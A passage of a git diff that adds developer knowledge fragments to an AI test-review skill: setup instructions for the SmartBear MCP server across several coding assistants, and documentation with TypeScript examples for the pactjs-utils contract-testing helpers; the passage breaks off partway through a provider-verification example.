+| ----------------- | ------------------------------------- | ---------------------- |
+| Claude Code       | `~/.claude.json`                      | JSON (`mcpServers`)    |
+| Codex             | `~/.codex/config.toml`                | TOML (`[mcp_servers]`) |
+| Gemini CLI        | `~/.gemini/settings.json`             | JSON (`mcpServers`)    |
+| Cursor            | `~/.cursor/mcp.json`                  | JSON (`mcpServers`)    |
+| Windsurf          | `~/.codeium/windsurf/mcp_config.json` | JSON (`mcpServers`)    |
+| VS Code (Copilot) | `.vscode/mcp.json`                    | JSON (`servers`)       |
+
+> **Claude Code tip**: Prefer the `claude mcp add` CLI over manual JSON editing. Use `-s user` for global (all projects) or omit for per-project (default).
+
+### CLI shortcuts (Claude Code and Codex)
+
+```bash
+# Claude Code — use add-json for servers with env vars (-s user = global)
+claude mcp add-json -s user smartbear \
+  '{"type":"stdio","command":"npx","args":["-y","@smartbear/mcp@latest"],"env":{"PACT_BROKER_BASE_URL":"https://{tenant}.pactflow.io","PACT_BROKER_TOKEN":"<your-token>"}}'
+
+# Codex
+codex mcp add smartbear -- npx -y @smartbear/mcp@latest
+```
+
+### JSON config (Gemini CLI, Cursor, Windsurf)
+
+Add a `"smartbear"` entry to the `mcpServers` object in the config file for your tool:
+
+```json
+{
+  "mcpServers": {
+    "smartbear": {
+      "type": "stdio",
+      "command": "npx",
+      "args": ["-y", "@smartbear/mcp@latest"],
+      "env": {
+        "PACT_BROKER_BASE_URL": "https://{tenant}.pactflow.io",
+        "PACT_BROKER_TOKEN": "<your-api-token>"
+      }
+    }
+  }
+}
+```
+
+### Codex TOML config
+
+Codex uses TOML instead of JSON. Add to `~/.codex/config.toml`:
+
+```toml
+[mcp_servers.smartbear]
+command = "npx"
+args = ["-y", "@smartbear/mcp@latest"]
+
+[mcp_servers.smartbear.env]
+PACT_BROKER_BASE_URL = "https://{tenant}.pactflow.io"
+PACT_BROKER_TOKEN = "<your-api-token>"
+```
+
+Note the key is `mcp_servers` (underscored), not `mcpServers`.
+
+### VS Code (GitHub Copilot)
+
+Add to `.vscode/mcp.json` (note: uses `servers` key, not `mcpServers`):
+
+```json
+{
+  "servers": {
+    "smartbear": {
+      "type": "stdio",
+      "command": "npx",
+      "args": ["-y", "@smartbear/mcp@latest"],
+      "env": {
+        "PACT_BROKER_BASE_URL": "https://{tenant}.pactflow.io",
+        "PACT_BROKER_TOKEN": "${input:pactToken}"
+      }
+    }
+  }
+}
+```
+
+> **Note**: Set either `PACT_BROKER_TOKEN` (for PactFlow) or `PACT_BROKER_USERNAME`+`PACT_BROKER_PASSWORD` (for self-hosted). Leave unused vars empty.
+
+## Required Environment Variables
+
+| Variable               | Required                     | Description                             |
+| ---------------------- | ---------------------------- | --------------------------------------- |
+| `PACT_BROKER_BASE_URL` | Yes (for Pact features)      | PactFlow or self-hosted Pact Broker URL |
+| `PACT_BROKER_TOKEN`    | For PactFlow / token auth    | API token for broker authentication     |
+| `PACT_BROKER_USERNAME` | For basic auth (self-hosted) | Username for basic authentication       |
+| `PACT_BROKER_PASSWORD` | For basic auth (self-hosted) | Password for basic authentication       |
+
+**Authentication**: Use token auth (`PACT_BROKER_TOKEN`) for PactFlow. Use basic auth (`PACT_BROKER_USERNAME` + `PACT_BROKER_PASSWORD`) for self-hosted Pact Broker instances. Only one auth method is needed.
+
+**Requirements**: Node.js 20+
+
+## Pattern Examples
+
+### Example 1: Fetching Provider States During Test Design
+
+When designing contract tests, use MCP to query existing provider states:
+
+```
+# Agent queries SmartBear MCP during test-design workflow:
+# → Fetch Provider States for consumer="movie-web", provider="SampleMoviesAPI"
+# ← Returns: ["movie with id 1 exists", "no movies exist", "user is authenticated"]
+#
+# Agent uses this to generate comprehensive consumer tests covering all states
+```
+
+### Example 2: Reviewing Pact Tests
+
+During test-review workflow, use MCP to evaluate test quality:
+
+```
+# Agent submits test file to SmartBear MCP Review tool:
+# → Review Pact Tests with test file content
+# ← Returns: feedback on matcher usage, state coverage, interaction naming
+#
+# Agent incorporates feedback into review report
+```
+
+### Example 3: Can I Deploy Check in CI
+
+During CI workflow design, reference the can-i-deploy tool:
+
+```
+# Agent generates CI pipeline with can-i-deploy gate:
+# → Can I Deploy: pacticipant="SampleMoviesAPI", version="${GITHUB_SHA}", to="production"
+# ← Returns: { ok: true/false, reason: "..." }
+#
+# Agent designs pipeline to block deployment if can-i-deploy fails
+```
+
+## Key Points
+
+- **Per-project install recommended**: Different projects may target different PactFlow tenants — match TEA's per-project config philosophy
+- **Env vars are project-specific**: `PACT_BROKER_BASE_URL` and `PACT_BROKER_TOKEN` vary by project/team
+- **Node.js 20+ required**: SmartBear MCP server requires Node.js 20 or higher
+- **PactFlow Cloud features**: Some tools (AI Status, Team Metrics) are only available with PactFlow Cloud, not self-hosted Pact Broker
+- **Complements pactjs-utils**: MCP provides broker interaction during design/review; pactjs-utils provides runtime utilities for test code
+
+## Related Fragments
+
+- `pactjs-utils-overview.md` — runtime utilities that pact tests import
+- `pactjs-utils-provider-verifier.md` — verifier options that reference broker config
+- `contract-testing.md` — foundational contract testing patterns
+
+## Anti-Patterns
+
+### Wrong: Using MCP for runtime test execution
+
+```
+# ❌ Don't use MCP to run pact tests — use npm scripts and CI pipelines
+# MCP is for agent-assisted design, generation, and review
+```
+
+### Right: Use MCP for design-time assistance
+
+```
+# ✅ Use MCP during planning and review:
+# - Fetch provider states to inform test design
+# - Generate test scaffolds from existing contracts
+# - Review tests for best practice compliance
+# - Check can-i-deploy during CI pipeline design
+```
+
+_Source: SmartBear MCP documentation, PactFlow developer docs_
diff --git a/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/pactjs-utils-consumer-helpers.md b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/pactjs-utils-consumer-helpers.md
new file mode 100644
index 0000000..b0a1f19
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/pactjs-utils-consumer-helpers.md
@@ -0,0 +1,270 @@
+# Pact.js Utils Consumer Helpers
+
+## Principle
+
+Use `createProviderState`, `toJsonMap`, `setJsonContent`, and `setJsonBody` from `@seontechnologies/pactjs-utils` to build type-safe provider state tuples and reusable PactV4 JSON callbacks for consumer contract tests. These helpers eliminate manual `JsonMap` casting and repetitive inline builder lambdas.
+
+## Rationale
+
+### Problems with raw consumer helper handling
+
+- **JsonMap requirement**: Pact's `.given(stateName, params)` requires `params` to be `JsonMap` — a flat object where every value must be `string | number | boolean | null`
+- **Type gymnastics**: Complex params (Date objects, nested objects, null values) require manual casting that TypeScript can't verify
+- **Inconsistent serialization**: Different developers serialize the same data differently (e.g., dates as ISO strings vs timestamps)
+- **Verbose `.given()` calls**: Repeating state name and params inline makes consumer tests harder to read
+- **Repeated interaction callbacks**: PactV4 interactions duplicate inline `(builder) => { ... }` blocks for body/query/header setup
+
+### Solutions
+
+- **`createProviderState`**: Returns a `[string, JsonMap]` tuple that spreads directly into `.given()` — one function handles name and params
+- **`toJsonMap`**: Explicit coercion rules documented and tested — Date→ISO string, null→"null" string, nested objects→JSON string
+- **`setJsonContent`**: Curried callback helper for request/response builders — set `query`, `headers`, and/or `body` from one reusable function
+- **`setJsonBody`**: Body-only shorthand for `setJsonContent({ body })` — ideal for concise `.willRespondWith(...)` bodies
+
+## Pattern Examples
+
+### Example 1: Basic Provider State Creation
+
+```typescript
+import { PactV3, MatchersV3 } from '@pact-foundation/pact';
+import { createProviderState } from '@seontechnologies/pactjs-utils';
+
+const provider = new PactV3({
+  consumer: 'movie-web',
+  provider: 'SampleMoviesAPI',
+  dir: './pacts',
+});
+
+describe('Movie API Contract', () => {
+  it('should return movie by id', async () => {
+    // createProviderState returns [stateName, JsonMap] tuple
+    const providerState = createProviderState({
+      name: 'movie with id 1 exists',
+      params: { id: 1, name: 'Inception', year: 2010 },
+    });
+
+    await provider
+      .given(...providerState) // Spread tuple into .given(name, params)
+      .uponReceiving('a request for movie 1')
+      .withRequest({ method: 'GET', path: '/movies/1' })
+      .willRespondWith({
+        status: 200,
+        body: MatchersV3.like({ id: 1, name: 'Inception', year: 2010 }),
+      })
+      .executeTest(async (mockServer) => {
+        const res = await fetch(`${mockServer.url}/movies/1`);
+        const movie = await res.json();
+        expect(movie.name).toBe('Inception');
+      });
+  });
+});
+```
+
+**Key Points**:
+
+- `createProviderState` accepts `{ name: string, params: Record<string, unknown> }`
+- Both `name` and `params` are required (pass `params: {}` for states without parameters)
+- Returns `[string, JsonMap]` — spread with `...` into `.given()`
+- `params` values are automatically converted to JsonMap-compatible types
+- Works identically with HTTP (`PactV3`) and message (`MessageConsumerPact`) pacts
+
+### Example 2: Complex Parameters with toJsonMap
+
+```typescript
+import { toJsonMap } from '@seontechnologies/pactjs-utils';
+
+// toJsonMap conversion rules:
+// - string, number, boolean → passed through
+// - null → "null" (string)
+// - undefined → "null" (string, same as null)
+// - Date → ISO string (e.g., "2025-01-15T10:00:00.000Z")
+// - nested object → JSON string
+// - array → comma-separated string via String() (e.g., [1,2,3] → "1,2,3")
+
+const params = toJsonMap({
+  id: 42,
+  name: 'John Doe',
+  active: true,
+  score: null,
+  createdAt: new Date('2025-01-15T10:00:00Z'),
+  metadata: { role: 'admin', permissions: ['read', 'write'] },
+});
+
+// Result:
+// {
+//   id: 42,
+//   name: "John Doe",
+//   active: true,
+//   score: "null",
+//   createdAt: "2025-01-15T10:00:00.000Z",
+//   metadata: '{"role":"admin","permissions":["read","write"]}'
+// }
+```
+
+**Key Points**:
+
+- `toJsonMap` is called internally by `createProviderState` — you rarely need it directly
+- Use it when you need explicit control over parameter conversion outside of provider states
+- Conversion rules are deterministic: same input always produces same output
+
+### Example 3: Provider State Without Parameters
+
+```typescript
+import { createProviderState } from '@seontechnologies/pactjs-utils';
+
+// State without params — second tuple element is empty object
+const emptyState = createProviderState({ name: 'no movies exist', params: {} });
+// Returns: ['no movies exist', {}]
+
+await provider
+  .given(...emptyState)
+  .uponReceiving('a request when no movies exist')
+  .withRequest({ method: 'GET', path: '/movies' })
+  .willRespondWith({ status: 200, body: [] })
+  .executeTest(async (mockServer) => {
+    const res = await fetch(`${mockServer.url}/movies`);
+    const movies = await res.json();
+    expect(movies).toEqual([]);
+  });
+```
+
+### Example 4: Multiple Provider States
+
+```typescript
+import { createProviderState } from '@seontechnologies/pactjs-utils';
+
+// Some interactions require multiple provider states
+// Call .given() multiple times with different states
+await provider
+  .given(...createProviderState({ name: 'user is authenticated', params: { userId: 1 } }))
+  .given(...createProviderState({ name: 'movie with id 5 exists', params: { id: 5 } }))
+  .uponReceiving('an authenticated request for movie 5')
+  .withRequest({
+    method: 'GET',
+    path: '/movies/5',
+    headers: { Authorization: MatchersV3.like('Bearer token') },
+  })
+  .willRespondWith({ status: 200, body: MatchersV3.like({ id: 5 }) })
+  .executeTest(async (mockServer) => {
+    // test implementation
+  });
+```
+
+### Example 5: When to Use setJsonBody vs setJsonContent
+
+```typescript
+import { MatchersV3 } from '@pact-foundation/pact';
+import { setJsonBody, setJsonContent } from '@seontechnologies/pactjs-utils';
+
+const { integer, string } = MatchersV3;
+
+await pact
+  .addInteraction()
+  .given('movie exists')
+  .uponReceiving('a request to get movie by name')
+  .withRequest(
+    'GET',
+    '/movies',
+    setJsonContent({
+      query: { name: 'Inception' },
+      headers: { Accept: 'application/json' },
+    }),
+  )
+  .willRespondWith(
+    200,
+    setJsonBody({
+      status: 200,
+      data: { id: integer(1), name: string('Inception') },
+    }),
+  );
+```
+
+**Key Points**:
+
+- Use `setJsonContent` when the interaction needs `query`, `headers`, and/or `body` in one callback (most request builders)
+- Use `setJsonBody` when you only need `jsonBody` and want the shorter `.willRespondWith(status, setJsonBody(...))` form
+- `setJsonBody` is equivalent to `setJsonContent({ body: ... })`
+
+## Key Points
+
+- **Spread pattern**: Always use `...createProviderState()` — the tuple spreads into `.given(stateName, params)`
+- **Type safety**: TypeScript enforces `{ name: string, params: Record<string, unknown> }` input (both fields required)
+- **Null handling**: `null` becomes `"null"` string in JsonMap (Pact requirement)
+- **Date handling**: Date objects become ISO 8601 strings
+- **No nested objects in JsonMap**: Nested objects are JSON-stringified — provider state handlers must parse them
+- **Array serialization is lossy**: Arrays are converted via `String()` (e.g., `[1,2,3]` → `"1,2,3"`) — prefer passing arrays as JSON-stringified objects for round-trip safety
+- **Message pacts**: Works identically with `MessageConsumerPact` — same `.given()` API
+- **Builder reuse**: `setJsonContent` works for both `.withRequest(...)` and `.willRespondWith(...)` callbacks (query is ignored on response builders)
+- **Body shorthand**: `setJsonBody` keeps body-only responses concise and readable
+- **Matchers check type, not value**: `string('My movie')` means "any string", `integer(1)` means "any integer". The example values are arbitrary — the provider can return different values and verification still passes as long as the type matches. Use matchers only in `.willRespondWith()` (responses), never in `.withRequest()` (requests) — Postel's Law applies.
+- **Reuse test values across files**: Interactions are uniquely identified by `uponReceiving` + `.given()`, not by placeholder values. Two test files can both use `testId: 100` without conflicting. On the provider side, shared values simplify state handlers — idempotent handlers (check if exists, create if not) only need to ensure one record exists. Use different values only when testing different states of the same entity type (e.g., `movieExists(100)` for happy paths vs. `movieNotFound(999)` for error paths).
+
+## Related Fragments
+
+- `pactjs-utils-overview.md` — installation, decision tree, design philosophy
+- `pactjs-utils-provider-verifier.md` — provider-side state handler implementation
+- `contract-testing.md` — foundational patterns with raw Pact.js
+
+## Anti-Patterns
+
+### Wrong: Manual JsonMap assembly
+
+```typescript
+// ❌ Manual casting — verbose, error-prone, no type safety
+provider.given('user exists', {
+  id: 1 as unknown as string,
+  createdAt: new Date().toISOString(),
+  metadata: JSON.stringify({ role: 'admin' }),
+} as JsonMap);
+```
+
+### Right: Use createProviderState
+
+```typescript
+// ✅ Automatic conversion with type safety
+provider.given(
+  ...createProviderState({
+    name: 'user exists',
+    params: { id: 1, createdAt: new Date(), metadata: { role: 'admin' } },
+  }),
+);
+```
+
+### Wrong: Inline state names without helper
+
+```typescript
+// ❌ Duplicated state names between consumer and provider — easy to mismatch
+provider.given('a user with id 1 exists', { id: '1' });
+// Later in provider: 'user with id 1 exists' — different string!
+```
+
+### Right: Share state constants
+
+```typescript
+// ✅ Define state names as constants shared between consumer and provider
+const STATES = {
+  USER_EXISTS: 'user with id exists',
+  NO_USERS: 'no users exist',
+} as const;
+
+provider.given(...createProviderState({ name: STATES.USER_EXISTS, params: { id: 1 } }));
+```
+
+### Wrong: Repeating inline builder lambdas everywhere
+
+```typescript
+// ❌ Repetitive callback boilerplate in every interaction
+.willRespondWith(200, (builder) => {
+  builder.jsonBody({ status: 200 });
+});
+```
+
+### Right: Use setJsonBody / setJsonContent
+
+```typescript
+// ✅ Reusable callbacks with less boilerplate
+.withRequest('GET', '/movies', setJsonContent({ query: { name: 'Inception' } }))
+.willRespondWith(200, setJsonBody({ status: 200 }));
+```
+
+_Source: @seontechnologies/pactjs-utils consumer-helpers module, pactjs-utils sample-app consumer tests_
diff --git a/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/pactjs-utils-overview.md b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/pactjs-utils-overview.md
new file mode 100644
index 0000000..cb330ef
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/pactjs-utils-overview.md
@@ -0,0 +1,216 @@
+# Pact.js Utils Overview
+
+## Principle
+
+Use production-ready utilities from `@seontechnologies/pactjs-utils` to eliminate boilerplate in consumer-driven contract testing. The library wraps `@pact-foundation/pact` with type-safe helpers for provider state creation, PactV4 JSON interaction builders, verifier configuration, and request filter injection — working equally well for HTTP and message (async/Kafka) contracts.
+
+## Rationale
+
+### Problems with raw @pact-foundation/pact
+
+- **JsonMap casting**: Provider state parameters require `JsonMap` type — manually casting every value is error-prone and verbose
+- **Repeated builder lambdas**: PactV4 interactions often repeat inline callbacks with `builder.query(...)`, `builder.headers(...)`, and `builder.jsonBody(...)`
+- **Verifier configuration sprawl**: `VerifierOptions` requires 30+ lines of scattered configuration (broker URL, selectors, state handlers, request filters, version tags)
+- **Environment variable juggling**: Different env vars for local vs remote flows, breaking change coordination, payload URL matching
+- **Express middleware types**: Request filter requires Express types that aren't re-exported from Pact
+- **Bearer prefix bugs**: Easy to double-prefix tokens as `Bearer Bearer ...` in request filters
+- **CI version tagging**: Manual logic to extract branch/tag info from CI environment
+
+### Solutions from pactjs-utils
+
+- **`createProviderState`**: One-call tuple builder for `.given()` — handles all JsonMap conversion automatically
+- **`toJsonMap`**: Explicit type coercion (null→"null", Date→ISO string, nested objects flattened)
+- **`setJsonContent`**: Curried callback helper for PactV4 `.withRequest(...)` / `.willRespondWith(...)` builders (query/headers/body)
+- **`setJsonBody`**: Body-only shorthand alias of `setJsonContent({ body })`
+- **`buildVerifierOptions`**: Single function assembles complete VerifierOptions from minimal inputs — handles local/remote/BDCT flows
+- **`buildMessageVerifierOptions`**: Same as above but for message/Kafka provider verification
+- **`handlePactBrokerUrlAndSelectors`**: Resolves broker URL and consumer version selectors from env vars with breaking change awareness
+- **`getProviderVersionTags`**: CI-aware version tagging (extracts branch/tag from GitHub Actions, GitLab CI, etc.)
+- **`createRequestFilter`**: Pluggable token generator pattern — prevents double-Bearer bugs by contract
+- **`noOpRequestFilter`**: Pass-through for providers that don't require auth injection
+
+## Installation
+
+```bash
+npm install -D @seontechnologies/pactjs-utils
+
+# Peer dependency
+npm install -D @pact-foundation/pact
+```
+
+**Requirements**: `@pact-foundation/pact` >= 16.2.0, Node.js >= 18
+
+## Available Utilities
+
+| Category          | Function                          | Description                                          | Use Case                                                         |
+| ----------------- | --------------------------------- | ---------------------------------------------------- | ---------------------------------------------------------------- |
+| Consumer Helpers  | `createProviderState`             | Builds `[stateName, JsonMap]` tuple from typed input | Consumer tests: `.given(...createProviderState(input))`          |
+| Consumer Helpers  | `toJsonMap`                       | Converts any object to Pact-compatible `JsonMap`     | Explicit type coercion for provider state params                 |
+| Consumer Helpers  | `setJsonContent`                  | Curried request/response JSON callback helper        | PactV4 `.withRequest(...)` and `.willRespondWith(...)` builders  |
+| Consumer Helpers  | `setJsonBody`                     | Body-only alias of `setJsonContent`                  | Body-only `.willRespondWith(...)` responses                      |
+| Provider Verifier | `buildVerifierOptions`            | Assembles complete HTTP `VerifierOptions`            | Provider verification: `new Verifier(buildVerifierOptions(...))` |
+| Provider Verifier | `buildMessageVerifierOptions`     | Assembles message `VerifierOptions`                  | Kafka/async provider verification                                |
+| Provider Verifier | `handlePactBrokerUrlAndSelectors` | Resolves broker URL + selectors from env vars        | Env-aware broker configuration                                   |
+| Provider Verifier | `getProviderVersionTags`          | CI-aware version tag extraction                      | Provider version tagging in CI                                   |
+| Request Filter    | `createRequestFilter`             | Express middleware with pluggable token generator    | Auth injection for provider verification                         |
+| Request Filter    | `noOpRequestFilter`               | Pass-through filter (no-op)                          | Providers without auth requirements                              |
+
+## Decision Tree: Which Flow?
+
+```
+Is this a monorepo (consumer + provider in same repo)?
+├── YES → Local Flow
+│   - Consumer generates pact files to ./pacts/
+│   - Provider reads pact files from ./pacts/ (no broker needed)
+│   - Use buildVerifierOptions with pactUrls option
+│
+└── NO → Do you have a Pact Broker / PactFlow?
+    ├── YES → Remote (CDCT) Flow
+    │   - Consumer publishes pacts to broker
+    │   - Provider verifies from broker
+    │   - Use buildVerifierOptions with broker config
+    │   - Set PACT_BROKER_BASE_URL + PACT_BROKER_TOKEN
+    │
+    └── Do you have an OpenAPI spec?
+        ├── YES → BDCT Flow (PactFlow only)
+        │   - Provider publishes OpenAPI spec to PactFlow
+        │   - PactFlow cross-validates consumer pacts against spec
+        │   - No provider verification test needed
+        │
+        └── NO → Start with Local Flow, migrate to Remote later
+```
+
+## Design Philosophy
+
+1. **One-call setup**: Each utility does one thing completely — no multi-step assembly required
+2. **Environment-aware**: Utilities read env vars for CI/CD integration without manual wiring
+3. **Type-safe**: Full TypeScript types for all inputs and outputs, exported for consumer use
+4. **Fail-safe defaults**: Sensible defaults that work locally; env vars override for CI
+5. **Composable**: Utilities work independently — use only what you need
+
+## Pattern Examples
+
+### Example 1: Minimal Consumer Test
+
+```typescript
+import { PactV3 } from '@pact-foundation/pact';
+import { createProviderState } from '@seontechnologies/pactjs-utils';
+
+const provider = new PactV3({
+  consumer: 'my-frontend',
+  provider: 'my-api',
+  dir: './pacts',
+});
+
+it('should get user by id', async () => {
+  await provider
+    .given(...createProviderState({ name: 'user exists', params: { id: 1 } }))
+    .uponReceiving('a request for user 1')
+    .withRequest({ method: 'GET', path: '/users/1' })
+    .willRespondWith({ status: 200, body: { id: 1, name: 'John' } })
+    .executeTest(async (mockServer) => {
+      const res = await fetch(`${mockServer.url}/users/1`);
+      expect(res.status).toBe(200);
+    });
+});
+```
+
+### Example 2: Minimal Provider Verification
+
+```typescript
+import { Verifier } from '@pact-foundation/pact';
+import { buildVerifierOptions, createRequestFilter } from '@seontechnologies/pactjs-utils';
+
+const opts = buildVerifierOptions({
+  provider: 'my-api',
+  port: '3001',
+  includeMainAndDeployed: true,
+  stateHandlers: {
+    'user exists': async (params) => {
+      await db.seed({ users: [{ id: params?.id }] });
+    },
+  },
+  requestFilter: createRequestFilter({
+    tokenGenerator: () => 'test-token-123',
+  }),
+});
+
+await new Verifier(opts).verifyProvider();
+```
+
+## Key Points
+
+- **Import path**: Always use `@seontechnologies/pactjs-utils` (no subpath exports)
+- **Peer dependency**: `@pact-foundation/pact` must be installed separately
+- **Local flow**: No broker needed — set `pactUrls` in verifier options pointing to local pact files
+- **Remote flow**: Set `PACT_BROKER_BASE_URL` and `PACT_BROKER_TOKEN` env vars
+- **Breaking changes**: Set `includeMainAndDeployed: false` when coordinating breaking changes (verifies only matchingBranch)
+- **Builder helpers**: Use `setJsonContent` when you need query/headers/body together; use `setJsonBody` for body-only callbacks
+- **Type exports**: Library exports `StateHandlers`, `RequestFilter`, `JsonMap`, `JsonContentInput`, `ConsumerVersionSelector` types
+
+## Related Fragments
+
+- `pactjs-utils-consumer-helpers.md` — detailed createProviderState, toJsonMap, setJsonContent, and setJsonBody usage
+- `pactjs-utils-provider-verifier.md` — detailed buildVerifierOptions and broker configuration
+- `pactjs-utils-request-filter.md` — detailed createRequestFilter and auth patterns
+- `contract-testing.md` — foundational contract testing patterns (raw Pact.js approach)
+- `test-levels-framework.md` — where contract tests fit in the testing pyramid
+
+## Anti-Patterns
+
+### Wrong: Manual VerifierOptions assembly when pactjs-utils is available
+
+```typescript
+// ❌ Don't assemble VerifierOptions manually
+const opts: VerifierOptions = {
+  provider: 'my-api',
+  providerBaseUrl: 'http://localhost:3001',
+  pactBrokerUrl: process.env.PACT_BROKER_BASE_URL,
+  pactBrokerToken: process.env.PACT_BROKER_TOKEN,
+  publishVerificationResult: process.env.CI === 'true',
+  providerVersion: process.env.GIT_SHA || 'dev',
+  consumerVersionSelectors: [{ mainBranch: true }, { deployedOrReleased: true }],
+  stateHandlers: {
+    /* ... */
+  },
+  requestFilter: (req, res, next) => {
+    /* ... */
+  },
+  // ... 20 more lines
+};
+```
+
+### Right: Use buildVerifierOptions
+
+```typescript
+// ✅ Single call handles all configuration
+const opts = buildVerifierOptions({
+  provider: 'my-api',
+  port: '3001',
+  includeMainAndDeployed: true,
+  stateHandlers: {
+    /* ... */
+  },
+  requestFilter: createRequestFilter({ tokenGenerator: () => 'token' }),
+});
+```
+
+### Wrong: Importing raw Pact types for JsonMap conversion
+
+```typescript
+// ❌ Manual JsonMap casting
+import type { JsonMap } from '@pact-foundation/pact';
+
+provider.given('user exists', { id: 1 as unknown as JsonMap['id'] });
+```
+
+### Right: Use createProviderState
+
+```typescript
+// ✅ Automatic type conversion
+import { createProviderState } from '@seontechnologies/pactjs-utils';
+
+provider.given(...createProviderState({ name: 'user exists', params: { id: 1 } }));
+```
+
+_Source: @seontechnologies/pactjs-utils library, pactjs-utils README, pact-js-example-provider workflows_
diff --git a/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/pactjs-utils-provider-verifier.md b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/pactjs-utils-provider-verifier.md
new file mode 100644
index 0000000..f29989e
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/pactjs-utils-provider-verifier.md
@@ -0,0 +1,315 @@
+# Pact.js Utils Provider Verifier
+
+## Principle
+
+Use `buildVerifierOptions`, `buildMessageVerifierOptions`, `handlePactBrokerUrlAndSelectors`, and `getProviderVersionTags` from `@seontechnologies/pactjs-utils` to assemble complete provider verification configuration in a single call. These utilities handle local/remote flow detection, broker URL resolution, consumer version selector strategy, and CI-aware version tagging. The caller controls breaking change behavior via the required `includeMainAndDeployed` parameter.
+
+## Rationale
+
+### Problems with manual VerifierOptions
+
+- **30+ lines of scattered config**: Assembling `VerifierOptions` manually requires broker URL, token, selectors, state handlers, request filters, version info, publish flags — all in one object
+- **Environment variable logic**: Different env vars for local vs remote, CI vs local dev, breaking change vs normal flow
+- **Consumer version selector complexity**: Choosing between `mainBranch`, `deployedOrReleased`, `matchingBranch`, and `includeMainAndDeployed` requires understanding Pact Broker semantics
+- **Breaking change coordination**: When a provider intentionally breaks a contract, manual selector switching is error-prone
+- **Cross-execution protection**: `PACT_PAYLOAD_URL` webhook payloads need special handling to verify only the triggering pact
+
+### Solutions
+
+- **`buildVerifierOptions`**: Single function that reads env vars, selects the right flow, and returns complete `VerifierOptions`
+- **`buildMessageVerifierOptions`**: Same as above for message/Kafka provider verification
+- **`handlePactBrokerUrlAndSelectors`**: Pure function for broker URL + selector resolution (used internally, also exported for advanced use)
+- **`getProviderVersionTags`**: Extracts CI branch/tag info from environment for provider version tagging
+
+## Pattern Examples
+
+### Example 1: HTTP Provider Verification (Remote Flow)
+
+```typescript
+import { Verifier } from '@pact-foundation/pact';
+import { buildVerifierOptions, createRequestFilter } from '@seontechnologies/pactjs-utils';
+import type { StateHandlers } from '@seontechnologies/pactjs-utils';
+
+const stateHandlers: StateHandlers = {
+  'movie with id 1 exists': {
+    setup: async (params) => {
+      await db.seed({ movies: [{ id: params?.id ?? 1, name: 'Inception' }] });
+    },
+    teardown: async () => {
+      await db.clean('movies');
+    },
+  },
+  'no movies exist': async () => {
+    await db.clean('movies');
+  },
+};
+
+// buildVerifierOptions reads these env vars automatically:
+// - PACT_BROKER_BASE_URL (broker URL)
+// - PACT_BROKER_TOKEN (broker auth)
+// - PACT_PAYLOAD_URL (webhook trigger — cross-execution protection)
+// - PACT_BREAKING_CHANGE (if "true", uses includeMainAndDeployed selectors)
+// - GITHUB_SHA (provider version)
+// - CI (publish verification results if "true")
+
+const opts = buildVerifierOptions({
+  provider: 'SampleMoviesAPI',
+  port: '3001',
+  includeMainAndDeployed: process.env.PACT_BREAKING_CHANGE !== 'true',
+  stateHandlers,
+  requestFilter: createRequestFilter({
+    tokenGenerator: () => process.env.TEST_AUTH_TOKEN ?? 'test-token',
+  }),
+});
+
+await new Verifier(opts).verifyProvider();
+```
+
+**Key Points**:
+
+- Set `PACT_BROKER_BASE_URL` and `PACT_BROKER_TOKEN` as env vars — `buildVerifierOptions` reads them automatically
+- `port` is a string (e.g., `'3001'`) — the function builds `providerBaseUrl: http://localhost:${port}` internally
+- `includeMainAndDeployed` is **required** — set `true` for normal flow, `false` for breaking changes
+- State handlers support both simple functions and `{ setup, teardown }` objects
+- `params` in state handlers correspond to the `JsonMap` from consumer's `createProviderState`
+- Verification results are published by default (`publishVerificationResult` defaults to `true`)
+
+### Example 2: Local Flow (Monorepo, No Broker)
+
+```typescript
+import { Verifier } from '@pact-foundation/pact';
+import { buildVerifierOptions } from '@seontechnologies/pactjs-utils';
+
+// When PACT_BROKER_BASE_URL is NOT set, buildVerifierOptions
+// falls back to local pact file verification
+const opts = buildVerifierOptions({
+  provider: 'SampleMoviesAPI',
+  port: '3001',
+  includeMainAndDeployed: true,
+  // Specify local pact files directly — skips broker entirely
+  pactUrls: ['./pacts/movie-web-SampleMoviesAPI.json'],
+  stateHandlers: {
+    'movie exists': async (params) => {
+      await db.seed({ movies: [{ id: params?.id }] });
+    },
+  },
+});
+
+await new Verifier(opts).verifyProvider();
+```
+
+### Example 3: Message Provider Verification (Kafka/Async)
+
+```typescript
+import { Verifier } from '@pact-foundation/pact';
+import { buildMessageVerifierOptions } from '@seontechnologies/pactjs-utils';
+
+const opts = buildMessageVerifierOptions({
+  provider: 'OrderEventsProducer',
+  includeMainAndDeployed: process.env.PACT_BREAKING_CHANGE !== 'true',
+  // Message handlers return the message content that the provider would produce
+  messageProviders: {
+    'an order created event': async () => ({
+      orderId: 'order-123',
+      userId: 'user-456',
+      items: [{ productId: 'prod-789', quantity: 2 }],
+      createdAt: new Date().toISOString(),
+    }),
+    'an order cancelled event': async () => ({
+      orderId: 'order-123',
+      reason: 'customer_request',
+      cancelledAt: new Date().toISOString(),
+    }),
+  },
+  stateHandlers: {
+    'order exists': async (params) => {
+      await db.seed({ orders: [{ id: params?.orderId }] });
+    },
+  },
+});
+
+await new Verifier(opts).verifyProvider();
+```
+
+**Key Points**:
+
+- `buildMessageVerifierOptions` adds `messageProviders` to the verifier config
+- Each message provider function returns the expected message payload
+- State handlers work the same as HTTP verification
+- Broker integration works identically (same env vars)
+
+### Example 4: Breaking Change Coordination
+
+```typescript
+// When a provider intentionally introduces a breaking change:
+//
+// 1. Set PACT_BREAKING_CHANGE=true in CI environment
+// 2. Your test reads the env var and passes includeMainAndDeployed: false
+//    to buildVerifierOptions — this verifies ONLY against the matching
+//    branch, skipping main/deployed consumers that would fail
+// 3. Coordinate with consumer team to update their pact on a matching branch
+// 4. Remove PACT_BREAKING_CHANGE flag after consumer updates
+
+// In CI environment (.github/workflows/provider-verify.yml):
+// env:
+//   PACT_BREAKING_CHANGE: 'true'
+
+// Your provider test code reads the env var:
+const isBreakingChange = process.env.PACT_BREAKING_CHANGE === 'true';
+
